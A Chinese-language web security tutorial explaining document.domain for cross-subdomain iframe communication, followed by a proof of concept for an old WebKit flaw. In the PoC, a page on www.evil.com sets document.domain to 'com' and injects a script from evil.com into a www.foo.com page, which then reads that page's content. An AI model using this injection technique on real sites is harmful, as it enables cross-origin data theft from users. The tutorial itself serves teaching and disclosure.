跨域(四)——document.domain
浏览器有一个合法的性质:一个页面可以设置document.domain为当前子域或比当前子域更高级的域。一般顶级就到了根域,如果设置为其他域,浏览器就会报权限错误。
利用这个性质,我们可以通过设置document.domain来跨子域。比如:在blog.foo.com/blog.html和app.foo.com/app.html两个文件中分别加上document.domain='foo.com',然后通过在app.html文件中创建一个iframe,去控制iframe的contentDocument,这样两个文件之间就可以跨域通信了。
app.html主要代码:
我是app <iframe id='ifr' src="http://blog.foo.com/blog.html"></iframe> <script> document.domain='foo.com'; var ifr=document.getElementById('ifr'); ifr.onload=function(){ var d=ifr.contentDocument||ifr.contentWindow.document;//contentDocument:firefox,>ie8 contentWindow:兼容各个浏览器 alert(d.getElementById('test').innerHTML); } </script>
blog.html主要代码:
<div id="test">我是blog</div> <script> document.domain='foo.com'; </script>
WebKit内核浏览器有一个缺陷(由sog1发现),导致顶级的域是域名后缀,比如foo.com的域名后缀是com。下面做一个测试,在Chrome下访问,版本 27.0.1453.93。
有文件www.evil.com/attack.html,www.evil.com/poc.js和www.foo.com/proxy.html。
代码分别如下:
attack.html页面
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> 我是attack页面 <script> document.domain="com"; function inj_iframe(src,hadle){ var o=document.createElement('iframe'); o.src=src; o.id='proxy'; o.onload=hadle; document.getElementsByTagName('body')[0].appendChild(o); return o; } function inject(){ var proxy=document.getElementById('proxy'); var d=proxy.contentDocument||proxy.contentWindow.document; var x=d.createElement('script'); x.src="http://www.evil.com/poc.js"; x.defer=true; d.getElementsByTagName('head')[0].appendChild(x); } var o=inj_iframe("http://www.foo.com/proxy.html",inject); </script> </body> </html>
proxy.html代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script> getTransport=function() { var xmlhttp; if(window.ActiveXObject) { xmlhttp=new ActiveXObject('Microsoft.XMLHTTP'); } else if(window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } return xmlhttp; } document.domain="com"; alert('proxy.html:'+document.domain); </script> </head> <body> i am proxy.html </body> </html>
poc.js代码:
alert(document.domain+"|poc.js"); xhr=getTransport(); function req(method,src,argv){ xhr.open(method,src,false); if(method=="POST")xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); xhr.send(argv); return xhr.responseText; } x=req("GET","http://www.foo.com/proxy.html"); alert(x);
访问attack.html后的效果图:
有的网站的设置不通过proxy.html文件,而是在任意页面都嵌入公共的js文件(设置document.domain为顶级域),这样的做法给XSS带来了巨大便利,即只要在任意一个子域下找到XSS漏洞都能危害到目标页面。